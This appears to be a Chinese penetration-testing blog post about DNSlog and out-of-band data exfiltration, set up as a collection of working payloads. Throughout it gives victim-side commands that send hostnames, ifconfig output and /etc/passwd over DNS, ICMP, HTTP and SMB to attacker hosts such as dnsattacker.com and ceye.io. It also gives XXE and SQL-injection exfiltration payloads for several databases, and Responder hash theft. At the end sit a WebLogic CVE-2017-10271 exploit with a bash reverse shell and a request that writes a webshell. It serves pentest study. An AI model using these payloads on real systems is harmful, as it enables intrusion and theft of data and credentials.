dnslog

0x01 搭建Dnslog

dnslog原理:

DNS在解析的时候会留下日志,这类工具就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在多级子域名中,传递到我们自己的服务器中,然后读取日志,获取特定信息,最后根据获取的信息来判断我们渗透测试的动作是否成功运行。

搭建:https://github.com/BugScanTeam/DNSLog

ceye: http://ceye.io/records/dns

0x02 windows常用payload:

ping %COMPUTERNAME%.2gln5s.ceye.io 查看返回的计算机名
for /F "delims=" %i in ('whoami') do ping -n 1 %i.2gln5s.ceye.io 查看返回的计算机名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %itest.2gln5s.ceye.io
%APPDATA% : 列出应用程序数据的默认存放位置。
%CD% : 列出当前目录。
%CLIENTNAME% : 列出联接到终端服务会话时客户端的NETBIOS名。
%CMDCMDLINE% : 列出启动当前cmd.exe所使用的命令行。
%CMDEXTVERSION% : 命令出当前命令处理程序扩展版本号。
%CommonProgramFiles% : 列出了常用文件的文件夹路径。
%COMPUTERNAME% : 列出了计算机名。
%COMSPEC% : 列出了可执行命令外壳(命令处理程序)的路径。
%DATE% : 列出当前日期。
%ERRORLEVEL% : 列出了最近使用的命令的错误代码。
%HOMEDRIVE% : 列出与用户主目录所在的驱动器盘符。
%HOMEPATH% : 列出用户主目录的完整路径。
%HOMESHARE% : 列出用户共享主目录的网络路径。
%LOGONSEVER% : 列出有效的当前登录会话的域名控制器名。
%NUMBER_OF_PROCESSORS% : 列出了计算机安装的处理器数。
%OS% : 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
%Path% : 列出了可执行文件的搜索路径。
%PATHEXT% : 列出操作系统认为可被执行的文件扩展名。
%PROCESSOR_ARCHITECTURE% : 列出了处理器的芯片架构。
%PROCESSOR_IDENTFIER% : 列出了处理器的描述。
%PROCESSOR_LEVEL% : 列出了计算机的处理器的型号。
%PROCESSOR_REVISION% : 列出了处理器的修订号。
%ProgramFiles% : 列出了Program Files文件夹的路径。
%PROMPT% : 列出了当前命令解释器的命令提示设置。
%RANDOM% : 列出界于0 和 32767之间的随机十进制数。
%SESSIONNAME% : 列出连接到终端服务会话时的连接和会话名。
%SYSTEMDRIVE% : 列出了Windows启动目录所在驱动器。
%SYSTEMROOT% : 列出了Windows启动目录的位置。
%TEMP% and %TMP% : 列出了当前登录的用户可用应用程序的默认临时目录。
%TIME% : 列出当前时间。
%USERDOMAIN% : 列出了包含用户帐号的域的名字。
%USERNAME% : 列出当前登录的用户的名字。
%USERPROFILE% : 列出当前用户Profile文件位置。
%WINDIR% : 列出操作系统目录的位置。
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。

0x03 Linux常用payload:

nslookup whoami.test.2gln5s.ceye.io 查看主机的名称
curl -X POST http://ip.port.2gln5s.ceye.io/whoami?p= http -d data=http 查看主机名称名返回,以http形式
curl test.2gln5s.ceye.io/`ifconfig base64
curl http://ip.port.2gln5s.ceye.io/`ls` 显示当前目录下的文件 (只能显示一个)
curl whoami.2gln5s.ceye.io 查看主机的名称
http://rinige.com/index.php/archives/705/ dnslog 攻击的一些姿势
启动三个白帽任意 linux 结界 curl -b cookie=admin ccxxxx.dnslog.info
创建 cookie 文件 echo -e "ccxxxx.dnslog.info\tFALSE\t/\tFALSE\t1450450776\tusername\tadmin" > cookies.txt
执行系统命令,并将结果追加到 cookies.txt 中去 pwd | tee -a cookies.txt
将回显内容变成一行 paste -s -d ":" cookies.txt | tee cookies.txt
日志记录回显内容 cookie curl -b cookies.txt cc6020.dnslog.info

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Content-Type:text/xml
Content-Length: 657

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl XXXX.dnslog.link/`ifconfig|base64|tr '\n' '-'`</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

0x04 数据库payload

load_file(concat('\\\\',(select database()),'.2gln5s.ceye.io\abc')) 读取数据库
?id=1' and if((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1)--+
?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.test.2gln5s.ceye.io\abc'))),1,1)--+
DECLARE @host varchar(1024); 注册一个名为@host的变量,类型为varchar
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link'; db_name()然后转换成varchar类型
EXEC('master..xp_dirtree "\'+@host+'\foobar$"'); 远程主机的foobar$目录

注入时候需要注意设置

1
2
3
my.ini

secure-auth=0secure_file_priv = ""

0x05 OOB信息外带漏洞

一、简介

带外数据(OOB)是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。因此,本文也将重点介绍有关DNS泄露数据的技巧。

引发DNS请求

成功利用DNS从有漏洞的数据库中渗出数据的前提条件是,DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。

任何可以接受网络地址的函数是最有可能被利用来进行这种攻击的。

注:出于本文目的,我们尽可能的将用于受害者的payloads以最小依赖性和权限保持为单行。

二、设置:DNS/OOB查询基础架构

1. 先决条件

  1. 具有静态IP地址的公共服务器:出于演示目的,我们将使用由Google云平台(GCP)提供的VPS服务。

  2. 注册域:访问已注册的域设置,将权限委派给域名服务器。这里我们将使用oob.dnsattacker.com进行DNS解析。

2. 具体步骤

我们使用Google Cloud Platform(GCP)创建具有静态IP地址的Linux机器。请确保你在服务器上具有root权限。如果你之前并没有任何有关GCP的创建经验,那么请参照本指南进行创建。

信息外带漏洞(OOB)利用技巧

我们在注册商的DNS设置中,为我们的域添加了两条记录。使用NameServer定义了一个子域,以及为nameserver定义了A记录(我们GCP服务器的IP)。现在,这些设置将子域的所有DNS请求都路由到了我们的GCP服务器上。

信息外带漏洞(OOB)利用技巧

我们可以使用tcpdump来观察服务器上的DNS查询情况。

信息外带漏洞(OOB)利用技巧

三、系统命令注入:OOB

我们可以通过解析DNS名称并查找关联的DNS查询,来检测Web应用程序中的操作系统代码注入漏洞。

1. 检测

DNS

攻击者:使用Wireshark/tcpdump观察53端口的响应情况。

1
sudo tcpdump -n port 53

注:在DNS命令中,我们还可以显式定义用于解析的名称服务器。

Windows

1
nslookup test.oob.dnsattacker.com
1
ping ping.oob.dnsattacker.com

信息外带漏洞(OOB)利用技巧

UNIX

1
host host.oob.dnsattacker.com

信息外带漏洞(OOB)利用技巧

同样,我们可以使用:

1
2
3
dig test.oob.dnsattacker.com
ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com

2. 利用/渗出

DNS

注:使用Wireshark/tcpdump观察53端口的响应情况。

1
tcpdump -n port 53

Windows

受害者:

1
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

1
echo “encoded output” |base64 -d  # decode the output with base64

7.png

使用多行发送输出

受害者

1
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # Sending file in HEX

攻击者

1
sudo tcpdump -n port 53 | tee file.txt

提取和构建输出:

1
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

8.png

限制条件:需要Powershell。

Unix

受害者:

1
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com; done   # Sending file in HEX

攻击者:

1
sudo tcpdump -n port 53 | tee file.txt

提取和构建输出:

1
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

信息外带漏洞(OOB)利用技巧

与十六进制编码相比,Base64编码文件会小很多。

受害者:

1
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64

攻击者:

1
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d    # Extracting Output

信息外带漏洞(OOB)利用技巧

3. ICMP

Windows

受害者

1
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);

攻击者

1
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap  #To capture

提取数据:

1
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

信息外带漏洞(OOB)利用技巧

限制条件:需要Powershell。

Unix

受害者:

1
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don

攻击者:

1
sudo tcpdump  'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture

提取数据:

1
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

信息外带漏洞(OOB)利用技巧

4. HTTP

Windows

受害者:

1
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

注:如果PowerShell不可用,请使用“mshta !Final!”。

攻击者:

1
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

信息外带漏洞(OOB)利用技巧

Unix

受害者:

1
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000

攻击者:

1
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

信息外带漏洞(OOB)利用技巧

同样,我们可以使用:

1
2
3
4
5
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com           # extract data  in post section

wget –post-file trophy.php http://dnsattacker.com # extract source code

cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt

5. SMB [使用Responder窃取哈希]

Windows

受害者

1
net use h: \\dnsattacker.com\web

攻击者

1
sudo ./Responder.py -I eth0#Run responder to capture hashes

信息外带漏洞(OOB)利用技巧

同样,我们可以使用:

1
net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt

四、XXE:Out of Band

1. 检测

我们可以通过向攻击者域(即oob.dnsattacker.com)创建DNS请求来确认XXE漏洞是否存在。这里有一个非常好的XML实体利用的练习框架推荐给大家。

受害者:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>

攻击者:

1
sudo tcpdump -n udp port 53

信息外带漏洞(OOB)利用技巧

限制:在撰写本文时,DNS查询仅能用于XXE的检测。

2. 利用/渗出

HTTP

攻击者:运行python HTTP server来托管dtd文件。

1
python -m SimpleHttpServer 9000

受害者:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd

1
2
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

信息外带漏洞(OOB)利用技巧

注:对基于Windows的受害者机器,请使用以下dtd文件。

windows.dtd

1
2
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">

3. FTP

攻击者:

运行python HTTP server来托管dtd文件以及xxeftp server(请参考此处)。

1
2
3
python -m SimpleHttpServer 9000

python xxeftp.py

受害者:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd

1
2
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

信息外带漏洞(OOB)利用技巧

注:对基于Windows的受害者机器,请使用以下dtd文件。

windows.dtd

1
2
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

4. SMB [窃取哈希]

攻击者:运行responder捕获哈希值

1
sudo ./Responder.py -I eth0

受害者:

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>

注:出于演示目的,我们将使用CVE-2018-0878:Windows远程协助信息泄露漏洞。

信息外带漏洞(OOB)利用技巧

类似地,其他可能泄露数据的payloads

1
2
3
4
5
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt

五、SQL注入

注:所有数据库服务器都安装在Windows上。有关SQL Injection cheat sheets请参考[1][2]

1. 检测

DNS

攻击者:使用Wireshark/tcpdump观察53端口响应情况。

1
sudo tcpdump -n port 53

六、ORACLE

1. 检测

受害者

1
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;

信息外带漏洞(OOB)利用技巧

注:上述功能需要更高的权限才能调用。

2. 利用/渗出

受害者

1
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;    /* Extracting Oracle database version */

信息外带漏洞(OOB)利用技巧

同样,我们可以使用以下payloads。

受害者

1
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;      /*Extracting Current user in Oracle database */

如果你使用的Oracle为10G或更低版本,则可以使用一些替代方法来创建DNS查询:UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT and UTL_TCP。

七、MSSQL

1. 检测

受害者

1
EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –

信息外带漏洞(OOB)利用技巧

2.利用/渗出

受害者

1
2
3
DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

信息外带漏洞(OOB)利用技巧

限制条件:数据库用户须为sysadmin权限。

类似地,创建DNS查询的其他方法包括:xp_fileexists,xp_subdirs,xp_getfiledetails,sp_add_jobstep

八、MYSQL

1. 检测

受害者

1
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));

信息外带漏洞(OOB)利用技巧

2. 利用/渗出

受害者

1
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));

限制条件:数据库用户须具有Select,update和“文件”权限。

信息外带漏洞(OOB)利用技巧

九、Postgresql

1. 检测

受害者

1
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

信息外带漏洞(OOB)利用技巧

限制条件:用户必须具有超级用户权限才能执行CREATE EXTENSION查询。

2. 利用/渗出

受害者

1
2
3
4
5
6
7
8
9
10
11
12
13
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '), 'UTF8'),'hex'));
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

信息外带漏洞(OOB)利用技巧

十、使用DNS泄露数据的限制

域名最多可包含127个子域。

每个子域最多只能包含63个字符长度。

完整域名的最大长度为253个字符。

DNS记录缓存为每个URL请求都添加了一个唯一值。

DNS是明文通道,因此通过DNS提取的任何数据都将采用明文格式,并可供中间节点和DNS服务器缓存使用。因此,建议不要通过DNS泄露一些较为敏感的数据。

0x06 实战

1.CVE-2017-10271

环境: https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

1
2
3
4
5
6
7
8
9
搭建命令
自动化编译环境
docker-compose build

启动整个环境
docker-compose up -d

删除整个环境
docker-compose down -v

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.weak_password

环境: https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password

3.注入实战

一次sql延时注入之dnslog的利用

Dnslog在SQL注入中的实战

参考:

https://blog.csdn.net/qq_27446553/article/details/78952010

OOB

-------------本文结束感谢您的阅读-------------